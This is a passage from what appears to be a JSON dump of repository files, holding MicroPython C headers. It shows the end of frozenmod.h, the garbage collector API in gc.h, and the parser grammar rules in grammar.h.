MICROPY_INCLUDED_PY_FROZENMOD_H\n#define MICROPY_INCLUDED_PY_FROZENMOD_H\n\n#include \"py/lexer.h\"\n\nenum {\n    MP_FROZEN_NONE,\n    MP_FROZEN_STR,\n    MP_FROZEN_MPY,\n};\n\nint mp_find_frozen_module(const char *str, size_t len, void **data);\nconst char *mp_find_frozen_str(const char *str, size_t *len);\nmp_import_stat_t mp_frozen_stat(const char *str);\n\n#endif // MICROPY_INCLUDED_PY_FROZENMOD_H\n"
  },
  {
    "path": "micropython/inc/py/gc.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_GC_H\n#define MICROPY_INCLUDED_PY_GC_H\n\n#include <stdint.h>\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n\nvoid gc_init(void *start, void *end);\n\n// These lock/unlock functions can be nested.\n// They can be used to prevent the GC from allocating/freeing.\nvoid gc_lock(void);\nvoid gc_unlock(void);\nbool gc_is_locked(void);\n\n// A given port must implement gc_collect by using the other collect functions.\nvoid gc_collect(void);\nvoid gc_collect_start(void);\nvoid gc_collect_root(void **ptrs, size_t len);\nvoid gc_collect_end(void);\n\nvoid *gc_alloc(size_t n_bytes, bool has_finaliser);\nvoid gc_free(void *ptr); // does not call finaliser\nsize_t gc_nbytes(const void *ptr);\nvoid *gc_realloc(void *ptr, size_t n_bytes, bool allow_move);\n\ntypedef struct _gc_info_t {\n    size_t total;\n    size_t used;\n    size_t free;\n    size_t max_free;\n    size_t num_1block;\n    size_t num_2block;\n    size_t max_block;\n} gc_info_t;\n\nvoid gc_info(gc_info_t *info);\nvoid gc_dump_info(void);\nvoid gc_dump_alloc_table(void);\n\n#endif // MICROPY_INCLUDED_PY_GC_H\n"
  },
  {
    "path": "micropython/inc/py/grammar.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n// rules for writing rules:\n// - zero_or_more is implemented using opt_rule around a one_or_more rule\n// - don't put opt_rule in arguments of or rule; instead, wrap the call to this or rule in opt_rule\n\n// # Start symbols for the grammar:\n// #       single_input is a single interactive statement;\n// #       file_input is a module or sequence of commands read from an input file;\n// #       eval_input is the input for the eval() functions.\n// # NB: compound_stmt in single_input is followed by extra NEWLINE! --> not in MicroPython\n// single_input: NEWLINE | simple_stmt | compound_stmt\n// file_input: (NEWLINE | stmt)* ENDMARKER\n// eval_input: testlist NEWLINE* ENDMARKER\n\nDEF_RULE_NC(single_input, or(3), tok(NEWLINE), rule(simple_stmt), rule(compound_stmt))\nDEF_RULE(file_input, c(generic_all_nodes), and_ident(1), opt_rule(file_input_2))\nDEF_RULE(file_input_2, c(generic_all_nodes), one_or_more, rule(file_input_3))\nDEF_RULE_NC(file_input_3, or(2), tok(NEWLINE), rule(stmt))\nDEF_RULE_NC(eval_input, and_ident(2), rule(testlist), opt_rule(eval_input_2))\nDEF_RULE_NC(eval_input_2, and(1), tok(NEWLINE))\n\n// decorator: '@' dotted_name [ '(' [arglist] ')' ] NEWLINE\n// decorators: decorator+\n// decorated: decorators (classdef | funcdef | async_funcdef)\n// funcdef: 'def' NAME parameters ['->' test] ':' suite\n// async_funcdef: 'async' funcdef\n// parameters: '(' [typedargslist] ')'\n// typedargslist: tfpdef ['=' test] (',' tfpdef ['=' test])* [',' ['*' [tfpdef] (',' tfpdef ['=' test])* [',' '**' tfpdef] | '**' tfpdef]] | '*' [tfpdef] (',' tfpdef ['=' test])* [',' '**' tfpdef] | '**' tfpdef\n// tfpdef: NAME [':' test]\n// varargslist: vfpdef ['=' test] (',' vfpdef ['=' test])* [',' ['*' [vfpdef] (',' vfpdef ['=' test])* [',' '**' vfpdef] | '**' vfpdef]] |  '*' [vfpdef] (',' vfpdef ['=' test])* [',' '**' vfpdef] | '**' vfpdef\n// vfpdef: NAME\n\nDEF_RULE_NC(decorator, and(4), tok(DEL_AT), rule(dotted_name), opt_rule(trailer_paren), tok(NEWLINE))\nDEF_RULE_NC(decorators, one_or_more, rule(decorator))\nDEF_RULE(decorated, c(decorated), and_ident(2), rule(decorators), rule(decorated_body))\n#if MICROPY_PY_ASYNC_AWAIT\nDEF_RULE_NC(decorated_body, or(3), rule(classdef), rule(funcdef), rule(async_funcdef))\nDEF_RULE_NC(async_funcdef, and(2), tok(KW_ASYNC), rule(funcdef))\n#else\nDEF_RULE_NC(decorated_body, or(2), rule(classdef), rule(funcdef))\n#endif\nDEF_RULE(funcdef, c(funcdef), and_blank(8), tok(KW_DEF), tok(NAME), tok(DEL_PAREN_OPEN), opt_rule(typedargslist), tok(DEL_PAREN_CLOSE), opt_rule(funcdefrettype), tok(DEL_COLON), rule(suite))\nDEF_RULE_NC(funcdefrettype, and_ident(2), tok(DEL_MINUS_MORE), rule(test))\n// note: typedargslist lets through more than is allowed, compiler does further checks\nDEF_RULE_NC(typedargslist, list_with_end, rule(typedargslist_item), tok(DEL_COMMA))\nDEF_RULE_NC(typedargslist_item, or(3), rule(typedargslist_name), rule(typedargslist_star), rule(typedargslist_dbl_star))\nDEF_RULE_NC(typedargslist_name, and_ident(3), tok(NAME), opt_rule(typedargslist_colon), opt_rule(typedargslist_equal))\nDEF_RULE_NC(typedargslist_star, and(2), tok(OP_STAR), opt_rule(tfpdef))\nDEF_RULE_NC(typedargslist_dbl_star, and(3), tok(OP_DBL_STAR), tok(NAME), opt_rule(typedargslist_colon))\nDEF_RULE_NC(typedargslist_colon, and_ident(2), tok(DEL_COLON), rule(test))\nDEF_RULE_NC(typedargslist_equal, and_ident(2), tok(DEL_EQUAL), rule(test))\nDEF_RULE_NC(tfpdef, and(2), tok(NAME), opt_rule(typedargslist_colon))\n// note: varargslist lets through more than is allowed, compiler does further checks\nDEF_RULE_NC(varargslist, list_with_end, rule(varargslist_item), tok(DEL_COMMA))\nDEF_RULE_NC(varargslist_item, or(3), rule(varargslist_name), rule(varargslist_star), rule(varargslist_dbl_star))\nDEF_RULE_NC(varargslist_name, and_ident(2), tok(NAME), opt_rule(varargslist_equal))\nDEF_RULE_NC(varargslist_star, and(2), tok(OP_STAR), opt_rule(vfpdef))\nDEF_RULE_NC(varargslist_dbl_star, and(2), tok(OP_DBL_STAR), tok(NAME))\nDEF_RULE_NC(varargslist_equal, and_ident(2), tok(DEL_EQUAL), rule(test))\nDEF_RULE_NC(vfpdef, and_ident(1), tok(NAME))\n\n// stmt: compound_stmt | simple_stmt\n\nDEF_RULE_NC(stmt, or(2), rule(compound_stmt), rule(simple_stmt))\n\n// simple_stmt: small_stmt (';' small_stmt)* [';'] NEWLINE\n\nDEF_RULE_NC(simple_stmt, and_ident(2), rule(simple_stmt_2), tok(NEWLINE))\nDEF_RULE(simple_stmt_2, c(generic_all_nodes), list_with_end, rule(small_stmt), tok(DEL_SEMICOLON))\n\n// small_stmt: expr_stmt | del_stmt | pass_stmt | flow_stmt | import_stmt | global_stmt | nonlocal_stmt | assert_stmt\n// expr_stmt: testlist_star_expr (augassign (yield_expr|testlist) | ('=' (yield_expr|testlist_star_expr))*)\n// testlist_star_expr: (test|star_expr) (',' (test|star_expr))* [',']\n// augassign: '+=' | '-=' | '*=' | '/=' | '%=' | '&=' | '|=' | '^=' | '<<=' | '>>=' | '**=' | '//='\n// # For normal assignments, additional restrictions enforced by the interpreter\n\nDEF_RULE_NC(small_stmt, or(8), rule(del_stmt), rule(pass_stmt), rule(flow_stmt), rule(import_stmt), rule(global_stmt), rule(nonlocal_stmt), rule(assert_stmt), rule(expr_stmt))\nDEF_RULE(expr_stmt, c(expr_stmt), and(2), rule(testlist_star_expr), opt_rule(expr_stmt_2))\nDEF_RULE_NC(expr_stmt_2, or(2), rule(expr_stmt_augassign), rule(expr_stmt_assign_list))\nDEF_RULE_NC(expr_stmt_augassign, and_ident(2), rule(augassign), rule(expr_stmt_6))\nDEF_RULE_NC(expr_stmt_assign_list, one_or_more, rule(expr_stmt_assign))\nDEF_RULE_NC(expr_stmt_assign, and_ident(2), tok(DEL_EQUAL), rule(expr_stmt_6))\nDEF_RULE_NC(expr_stmt_6, or(2), rule(yield_expr), rule(testlist_star_expr))\nDEF_RULE(testlist_star_expr, c(generic_tuple), list_with_end, rule(testlist_star_expr_2), tok(DEL_COMMA))\nDEF_RULE_NC(testlist_star_expr_2, or(2), rule(star_expr), rule(test))\nDEF_RULE_NC(augassign, or(12), tok(DEL_PLUS_EQUAL), tok(DEL_MINUS_EQUAL), tok(DEL_STAR_EQUAL), tok(DEL_SLASH_EQUAL), tok(DEL_PERCENT_EQUAL), tok(DEL_AMPERSAND_EQUAL), tok(DEL_PIPE_EQUAL), tok(DEL_CARET_EQUAL), tok(DEL_DBL_LESS_EQUAL), tok(DEL_DBL_MORE_EQUAL), tok(DEL_DBL_STAR_EQUAL), tok(DEL_DBL_SLASH_EQUAL))\n\n// del_stmt: 'del' exprlist\n// pass_stmt: 'pass'\n// flow_stmt: break_stmt | continue_stmt | return_stmt | raise_stmt | yield_stmt\n// break_stmt: 'break'\n// continue_stmt: 'continue'\n// return_stmt: 'return' [testlist]\n// yield_stmt: yield_expr\n// raise_stmt: 'raise' [test ['from' test]]\n\nDEF_RULE(del_stmt, c(del_stmt), and(2), tok(KW_DEL), rule(exprlist))\nDEF_RULE(pass_stmt, c(generic_all_nodes), and(1), tok(KW_PASS))\nDEF_RULE_NC(flow_stmt, or(5), rule(break_stmt), rule(continue_stmt), rule(return_stmt), rule(raise_stmt), rule(yield_stmt))\nDEF_RULE(break_stmt, c(break_stmt), and(1), tok(KW_BREAK))\nDEF_RULE(continue_stmt, c(continue_stmt), and(1), tok(KW_CONTINUE))\nDEF_RULE(return_stmt, c(return_stmt), and(2), tok(KW_RETURN), opt_rule(testlist))\nDEF_RULE(yield_stmt, c(yield_stmt), and(1), rule(yield_expr))\nDEF_RULE(raise_stmt, c(raise_stmt), and(2), tok(KW_RAISE), opt_rule(raise_stmt_arg))\nDEF_RULE_NC(raise_stmt_arg, and_ident(2), rule(test), opt_rule(raise_stmt_from))\nDEF_RULE_NC(raise_stmt_from, and_ident(2), tok(KW_FROM), rule(test))\n\n// import_stmt: import_name | import_from\n// import_name: 'import' dotted_as_names\n// import_from: 'from' (('.' | '...')* dotted_name | ('.' | '...')+) 'import' ('*' | '(' import_as_names ')' | import_as_names)\n// import_as_name: NAME ['as' NAME]\n// dotted_as_name: dotted_name ['as' NAME]\n// import_as_names: import_as_name (',' import_as_name)* [',']\n// dotted_as_names: dotted_as_name (',' dotted_as_name)*\n// dotted_name: NAME ('.' NAME)*\n// global_stmt: 'global' NAME (',' NAME)*\n// nonlocal_stmt: 'nonlocal' NAME (',' NAME)*\n// assert_stmt: 'assert' test [',' test]\n\nDEF_RULE_NC(import_stmt, or(2), rule(import_name), rule(import_from))\nDEF_RULE(import_name, c(import_name), and(2), tok(KW_IMPORT), rule(dotted_as_names))\nDEF_RULE(import_from, c(import_from), and(4), tok(KW_FROM), rule(import_from_2), tok(KW_IMPORT), rule(import_from_3))\nDEF_RULE_NC(import_from_2, or(2), rule(dotted_name), rule(import_from_2b))\nDEF_RULE_NC(import_from_2b, and_ident(2), rule(one_or_more_period_or_ellipsis), opt_rule(dotted_name))\nDEF_RULE_NC(import_from_3, or(3), tok(OP_STAR), rule(import_as_names_paren), rule(import_as_names))\nDEF_RULE_NC(import_as_names_paren, and_ident(3), tok(DEL_PAREN_OPEN), rule(import_as_names), tok(DEL_PAREN_CLOSE))\nDEF_RULE_NC(one_or_more_period_or_ellipsis, one_or_more, rule(period_or_ellipsis))\nDEF_RULE_NC(period_or_ellipsis, or(2), tok(DEL_PERIOD), tok(ELLIPSIS))\nDEF_RULE_NC(import_as_name, and(2), tok(NAME), opt_rule(as_name))\nDEF_RULE_NC(dotted_as_name, and_ident(2), rule(dotted_name), opt_rule(as_name))\nDEF_RULE_NC(as_name, and_ident(2), tok(KW_AS), tok(NAME))\nDEF_RULE_NC(import_as_names, list_with_end, rule(import_as_name), tok(DEL_COMMA))\nDEF_RULE_NC(dotted_as_names, list, rule(dotted_as_name), tok(DEL_COMMA))\nDEF_RULE_NC(dotted_name, list, tok(NAME), tok(DEL_PERIOD))\nDEF_RULE(global_stmt, c(global_stmt), and(2), tok(KW_GLOBAL), rule(name_list))\nDEF_RULE(nonlocal_stmt, c(nonlocal_stmt), and(2), tok(KW_NONLOCAL), rule(name_list))\nDEF_RULE_NC(name_list, list, tok(NAME), tok(DEL_COMMA))\nDEF_RULE(assert_stmt, c(assert_stmt), and(3), tok(KW_ASSERT), rule(test), opt_rule(assert_stmt_extra))\nDEF_RULE_NC(assert_stmt_extra, and_ident(2), tok(DEL_COMMA), rule(test))\n\n// compound_stmt: if_stmt | while_stmt | for_stmt | try_stmt | with_stmt | funcdef | classdef | decorated | async_stmt\n// if_stmt: 'if' test ':' suite ('elif' test ':' suite)* ['else' ':' suite]\n// while_stmt: 'while' test ':' suite ['else' ':' suite]\n// for_stmt: 'for' exprlist 'in' testlist ':' suite ['else' ':' suite]\n// try_stmt: 'try' ':' suite ((except_clause ':' suite)+ ['else' ':' suite] ['finally' ':' suite] | 'finally' ':' suite)\n// # NB compile.c makes sure that the default except clause is last\n// except_clause: 'except' [test ['as' NAME]]\n// with_stmt: 'with' with_item (',' with_item)* ':' suite\n// with_item: test ['as' expr]\n// suite: simple_stmt | NEWLINE INDENT stmt+ DEDENT\n// async_stmt: 'async' (funcdef | with_stmt | for_stmt)\n\n#if MICROPY_PY_ASYNC_AWAIT\nDEF_RULE_NC(compound_stmt, or(9), rule(if_stmt), rule(while_stmt), rule(for_stmt), rule(try_stmt), rule(with_stmt), rule(funcdef), rule(classdef), rule(decorated), rule(async_stmt))\nDEF_RULE(async_stmt, c(async_stmt), and(2), tok(KW_ASYNC), rule(async_stmt_2))\nDEF_RULE_NC(async_stmt_2, or(3), rule(funcdef), rule(with_stmt), rule(for_stmt))\n#else\nDEF_RULE_NC(compound_stmt, or(8), rule(if_stmt), rule(while_stmt), rule(for_stmt), rule(try_stmt), rule(with_stmt), rule(funcdef), rule(classdef), rule(decorated))\n#endif\nDEF_RULE(if_stmt, c(if_stmt), and(6), tok(KW_IF), rule(test), tok(DEL_COLON), rule(suite), opt_rule(if_stmt_elif_list), opt_rule(else_stmt))\nDEF_RULE_NC(if_stmt_elif_list, one_or_more, rule(if_stmt_elif))\nDEF_RULE_NC(if_stmt_elif, and(4), tok(KW_ELIF), rule(test), tok(DEL_COLON), rule(suite))\nDEF_RULE(while_stmt, c(while_stmt), and(5), tok(KW_WHILE), rule(test), tok(DEL_COLON), rule(suite), opt_rule(else_stmt))\nDEF_RULE(for_stmt, c(for_stmt), and(7), tok(KW_FOR), rule(exprlist), tok(KW_IN), rule(testlist), tok(DEL_COLON), rule(suite), opt_rule(else_stmt))\nDEF_RULE(try_stmt, c(try_stmt), and(4), tok(KW_TRY), tok(DEL_COLON), rule(suite), rule(try_stmt_2))\nDEF_RULE_NC(try_stmt_2, or(2), rule(try_stmt_except_and_more), rule(try_stmt_finally))\nDEF_RULE_NC(try_stmt_except_and_more, and_ident(3), rule(try_stmt_except_list), opt_rule(else_stmt), opt_rule(try_stmt_finally))\nDEF_RULE_NC(try_stmt_except, and(4), tok(KW_EXCEPT), opt_rule(try_stmt_as_name), tok(DEL_COLON), rule(suite))\nDEF_RULE_NC(try_stmt_as_name, and_ident(2), rule(test), opt_rule(as_name))\nDEF_RULE_NC(try_stmt_except_list, one_or_more, rule(try_stmt_except))\nDEF_RULE_NC(try_stmt_finally, and(3), tok(KW_FINALLY), tok(DEL_COLON), rule(suite))\nDEF_RULE_NC(else_stmt, and_ident(3), tok(KW_ELSE), tok(DEL_COLON), rule(suite))\nDEF_RULE(with_stmt, c(with_stmt), and(4), tok(KW_WITH), rule(with_stmt_list), tok(DEL_COLON), rule(suite))\nDEF_RULE_NC(with_stmt_list, list, rule(with_item), tok(DEL_COMMA))\nDEF_RULE_NC(with_item, and_ident(2), rule(test), opt_rule(with_item_as))\nDEF_RULE_NC(with_item_as, and_ident(2), tok(KW_AS), rule(expr))\nDEF_RULE_NC(suite, or(2), rule(suite_block), rule(simple_stmt))\nDEF_RULE_NC(suite_block, and_ident(4), tok(NEWLINE), tok(INDENT), rule(suite_block_stmts), tok(DEDENT))\nDEF_RULE(suite_block_stmts, c(generic_all_nodes), one_or_more, rule(stmt))\n\n// test: or_test ['if' or_test 'else' test] | lambdef\n// test_nocond: or_test | lambdef_nocond\n// lambdef: 'lambda' [varargslist] ':' test\n// lambdef_nocond: 'lambda' [varargslist] ':' test_nocond\n\nDEF_RULE_NC(test, or(2), rule(lambdef), rule(test_if_expr))\nDEF_RULE(test_if_expr, c(test_if_expr), and_ident(2), rule(or_test), opt_rule(test_if_else))\nDEF_RULE_NC(test_if_else, and(4), tok(KW_IF), rule(or_test), tok(KW_ELSE), rule(test))\nDEF_RULE_NC(test_nocond, or(2), rule(lambdef_nocond), rule(or_test))\nDEF_RULE(lambdef, c(lambdef), and_blank(4), tok(KW_LAMBDA), opt_rule(varargslist), tok(DEL_COLON), rule(test))\nDEF_RULE(lambdef_nocond, c(lambdef), and_blank(4), tok(KW_LAMBDA), opt_rule(varargslist), tok(DEL_COLON), rule(test_nocond))\n\n// or_test: and_test ('or' and_test)*\n// and_test: not_test ('and' not_test)*\n// not_test: 'not' not_test | comparison\n// comparison: expr (comp_op expr)*\n// comp_op: '<'|'>'|'=='|'>='|'<='|'!='|'in'|'not' 'in'|'is'|'is' 'not'\n// star_expr: '*' expr\n// expr: xor_expr ('|' xor_expr)*\n// xor_expr: and_expr ('^' and_expr)*\n// and_expr: shift_expr ('&' shift_expr)*\n// shift_expr: arith_expr (('<<'|'>>') arith_expr)*\n// arith_expr: term (('+'|'-') term)*\n// term: factor (('*'|'/'|'%'|'//') factor)*\n// factor: ('+'|'-'|'~') factor | power\n// power: atom_expr ['**' factor]\n// atom_expr: 'await' atom trailer* | atom trailer*\n\nDEF_RULE(or_test, c(or_test), list, rule(and_test), tok(KW_OR))\nDEF_RULE(and_test, c(and_test), list, rule(not_test), tok(KW_AND))\nDEF_RULE_NC(not_test, or(2), rule(not_test_2), rule(comparison))\nDEF_RULE(not_test_2, c(not_test_2), and(2), tok(KW_NOT), rule(not_test))\nDEF_RULE(comparison, c(comparison), list, rule(expr), rule(comp_op))\nDEF_RULE_NC(comp_op, or(9), tok(OP_LESS), tok(OP_MORE), tok(OP_DBL_EQUAL), tok(OP_LESS_EQUAL), tok(OP_MORE_EQUAL), tok(OP_NOT_EQUAL), tok(KW_IN), rule(comp_op_not_in), rule(comp_op_is))\nDEF_RULE_NC(comp_op_not_in, and(2), tok(KW_NOT), tok(KW_IN))\nDEF_RULE_NC(comp_op_is, and(2), tok(KW_IS), opt_rule(comp_op_is_not))\nDEF_RULE_NC(comp_op_is_not, and(1), tok(KW_NOT))\nDEF_RULE(star_expr, c(star_expr), and(2), tok(OP_STAR), rule(expr))\nDEF_RULE(expr, c(expr), list, rule(xor_expr), tok(OP_PIPE))\nDEF_RULE(xor_expr, c(xor_expr), list, rule(and_expr), tok(OP_CARET))\nDEF_RULE(and_expr, c(and_expr), list, rule(shift_expr), tok(OP_AMPERSAND))\nDEF_RULE(shift_expr, c(term), list, rule(arith_expr), rule(shift_op))\nDEF_RULE_NC(shift_op, or(2), tok(OP_DBL_LESS), tok(OP_DBL_MORE))\nDEF_RULE(arith_expr, c(term), list, rule(term), rule(arith_op))\nDEF_RULE_NC(arith_op, or(2), tok(OP_PLUS), tok(OP_MINUS))\nDEF_RULE(term, c(term), list, rule(factor), rule(term_op))\nDEF_RULE_NC(term_op, or(4), tok(OP_STAR), tok(OP_SLASH), tok(OP_PERCENT), tok(OP_DBL_SLASH))\nDEF_RULE_NC(factor, or(2), rule(factor_2), rule(power))\nDEF_RULE(factor_2, c(factor_2), and_ident(2), rule(factor_op), rule(factor))\nDEF_RULE_NC(factor_op, or(3), tok(OP_PLUS), tok(OP_MINUS), tok(OP_TILDE))\nDEF_RULE(power, c(power), and_ident(2), rule(atom_expr), opt_rule(power_dbl_star))\n#if MICROPY_PY_ASYNC_AWAIT\nDEF_RULE_NC(atom_expr, or(2), rule(atom_expr_await), rule(atom_expr_normal))\nDEF_RULE(atom_expr_await, c(atom_expr_await), and(3), tok(KW_AWAIT), rule(atom), opt_rule(atom_expr_trailers))\n#else\nDEF_RULE_NC(atom_expr, or(1), rule(atom_expr_normal))\n#endif\nDEF_RULE(atom_expr_normal, c(atom_expr_normal), and_ident(2), rule(atom), opt_rule(atom_expr_trailers))\nDEF_RULE_NC(atom_expr_trailers, one_or_more, rule(trailer))\nDEF_RULE_NC(power_dbl_star, and_ident(2), tok(OP_DBL_STAR), rule(factor))\n\n// atom: '(' [yield_expr|testlist_comp] ')' | '[' [testlist_comp] ']' | '{' [dictorsetmaker] '}' | NAME | NUMBER | STRING+ | '...' | 'None' | 'True' | 'False'\n// testlist_comp: (test|star_expr) ( comp_for | (',' (test|star_expr))* [','] )\n// trailer: '(' [arglist] ')' | '[' subscriptlist ']' | '.' NAME\n\nDEF_RULE_NC(atom, or(12), tok(NAME), tok(INTEGER), tok(FLOAT_OR_IMAG), tok(STRING), tok(BYTES), tok(ELLIPSIS), tok(KW_NONE), tok(KW_TRUE), tok(KW_FALSE), rule(atom_paren), rule(atom_bracket), rule(atom_brace))\nDEF_RULE(atom_paren, c(atom_paren), and(3), tok(DEL_PAREN_OPEN), opt_rule(atom_2b), tok(DEL_PAREN_CLOSE))\nDEF_RULE_NC(atom_2b, or(2), rule(yield_expr), rule(testlist_comp))\nDEF_RULE(atom_bracket, c(atom_bracket), and(3), tok(DEL_BRACKET_OPEN), opt_rule(testlist_comp), tok(DEL_BRACKET_CLOSE))\nDEF_RULE(atom_brace, c(atom_brace), and(3), tok(DEL_BRACE_OPEN), opt_rule(dictorsetmaker), tok(DEL_BRACE_CLOSE))\nDEF_RULE_NC(testlist_comp, and_ident(2), rule(testlist_comp_2), opt_rule(testlist_comp_3))\nDEF_RULE_NC(testlist_comp_2, or(2), rule(star_expr), rule(test))\nDEF_RULE_NC(testlist_comp_3, or(2), rule(comp_for), rule(testlist_comp_3b))\nDEF_RULE_NC(testlist_comp_3b, and_ident(2), tok(DEL_COMMA), opt_rule(testlist_comp_3c))\nDEF_RULE_NC(testlist_comp_3c, list_with_end, rule(testlist_comp_2), tok(DEL_COMMA))\nDEF_RULE_NC(trailer, or(3), rule(trailer_paren), rule(trailer_bracket), rule(trailer_period))\nDEF_RULE(trailer_paren, c(trailer_paren), and(3), tok(DEL_PAREN_OPEN), opt_rule(arglist), tok(DEL_PAREN_CLOSE))\nDEF_RULE(trailer_bracket, c(trailer_bracket), and(3), tok(DEL_BRACKET_OPEN), rule(subscriptlist), tok(DEL_BRACKET_CLOSE))\nDEF_RULE(trailer_period, c(trailer_period), and(2), tok(DEL_PERIOD), tok(NAME))\n\n// subscriptlist: subscript (',' subscript)* [',']\n// subscript: test | [test] ':' [test] [sliceop]\n// sliceop: ':' [test]\n\n#if MICROPY_PY_BUILTINS_SLICE\nDEF_RULE(subscriptlist, c(generic_tuple), list_with_end, rule(subscript), tok(DEL_COMMA))\nDEF_RULE_NC(subscript, or(2), rule(subscript_3), rule(subscript_2))\nDEF_RULE(subscript_2, c(subscript_2), and_ident(2), rule(test), opt_rule(subscript_3))\nDEF_RULE(subscript_3, c(subscript_3), and(2), tok(DEL_COLON), opt_rule(subscript_3b))\nDEF_RULE_NC(subscript_3b, or(2), rule(subscript_3c), rule(subscript_3d))\nDEF_RULE_NC(subscript_3c, and(2), tok(DEL_COLON), opt_rule(test))\nDEF_RULE_NC(subscript_3d, and_ident(2), rule(test), opt_rule(sliceop))\nDEF_RULE_NC(sliceop, and(2), tok(DEL_COLON), opt_rule(test))\n#else\nDEF_RULE(subscriptlist, c(generic_tuple), list_with_end, rule(test), tok(DEL_COMMA))\n#endif\n\n// exprlist: (expr|star_expr) (',' (expr|star_expr))* [',']\n// testlist: test (',' test)* [',']\n// dictorsetmaker: (test ':' test (comp_for | (',' test ':' test)* [','])) | (test (comp_for | (',' test)* [',']))\n\nDEF_RULE_NC(exprlist, list_with_end, rule(exprlist_2), tok(DEL_COMMA))\nDEF_RULE_NC(exprlist_2, or(2), rule(star_expr), rule(expr))\nDEF_RULE(testlist, c(generic_tuple), list_with_end, rule(test), tok(DEL_COMMA))\n// TODO dictorsetmaker lets through more than is allowed\nDEF_RULE_NC(dictorsetmaker, and_ident(2), rule(dictorsetmaker_item), opt_rule(dictorsetmaker_tail))\n#if MICROPY_PY_BUILTINS_SET\nDEF_RULE(dictorsetmaker_item, c(dictorsetmaker_item), and_ident(2), rule(test), opt_rule(dictorsetmaker_colon))\nDEF_RULE_NC(dictorsetmaker_colon, and_ident(2), tok(DEL_COLON), rule(test))\n#else\nDEF_RULE(dictorsetmaker_item, c(dictorsetmaker_item), and(3), rule(test), tok(DEL_COLON), rule(test))\n#endif\nDEF_RULE_NC(dictorsetmaker_tail, or(2), rule(comp_for), rule(dictorsetmaker_list))\nDEF_RULE_NC(dictorsetmaker_list, and(2), tok(DEL_COMMA), opt_rule(dictorsetmaker_list2))\nDEF_RULE_NC(dictorsetmaker_list2, list_with_end, rule(dictorsetmaker_item), tok(DEL_COMMA))\n\n// classdef: 'class' NAME ['(' [arglist] ')'] ':' suite\n\nDEF_RULE(classdef, c(classdef), and_blank(5), tok(KW_CLASS), tok(NAME), opt_rule(classdef_2), tok(DEL_COLON), rule(suite))\nDEF_RULE_NC(classdef_2, and_ident(3), tok(DEL_PAREN_OPEN), opt_rule(arglist), tok(DEL_PAREN_CLOSE))\n\n// arglist: (argument ',')* (argument [','] | '*' test (',' argument)* [',' '**' test] | '**' test)\n\n// TODO arglist lets through more than is allowed, compiler needs to do further verification\nDEF_RULE_NC(arglist, list_with_end, rule(arglist_2), tok(DEL_COMMA))\nDEF_RULE_NC(arglist_2, or(3), rule(arglist_star), rule(arglist_dbl_star), rule(argument))\nDEF_RULE_NC(arglist_star, and(2), tok(OP_STAR), rule(test))\nDEF_RULE_NC(arglist_dbl_star, and(2), tok(OP_DBL_STAR), rule(test))\n\n// # The reason that keywords are test nodes instead of NAME is that using NAME\n// # results in an ambiguity. ast.c makes sure it's a NAME.\n// argument: test [comp_for] | test '=' test  # Really [keyword '='] test\n// comp_iter: comp_for | comp_if\n// comp_for: 'for' exprlist 'in' or_test [comp_iter]\n// comp_if: 'if' test_nocond [comp_iter]\n\nDEF_RULE_NC(argument, and_ident(2), rule(test), opt_rule(argument_2))\nDEF_RULE_NC(argument_2, or(2), rule(comp_for), rule(argument_3))\nDEF_RULE_NC(argument_3, and_ident(2), tok(DEL_EQUAL), rule(test))\nDEF_RULE_NC(comp_iter, or(2), rule(comp_for), rule(comp_if))\nDEF_RULE_NC(comp_for, and_blank(5), tok(KW_FOR), rule(exprlist), tok(KW_IN), rule(or_test), opt_rule(comp_iter))\nDEF_RULE_NC(comp_if, and(3), tok(KW_IF), rule(test_nocond), opt_rule(comp_iter))\n\n// # not used in grammar, but may appear in \"node\" passed from Parser to Compiler\n// encoding_decl: NAME\n\n// yield_expr: 'yield' [yield_arg]\n// yield_arg: 'from' test | testlist\n\nDEF_RULE(yield_expr, c(yield_expr), and(2), tok(KW_YIELD), opt_rule(yield_arg))\nDEF_RULE_NC(yield_arg, or(2), rule(yield_arg_from), rule(testlist))\nDEF_RULE_NC(yield_arg_from, and(2), tok(KW_FROM), rule(test))\n"
  },
  {
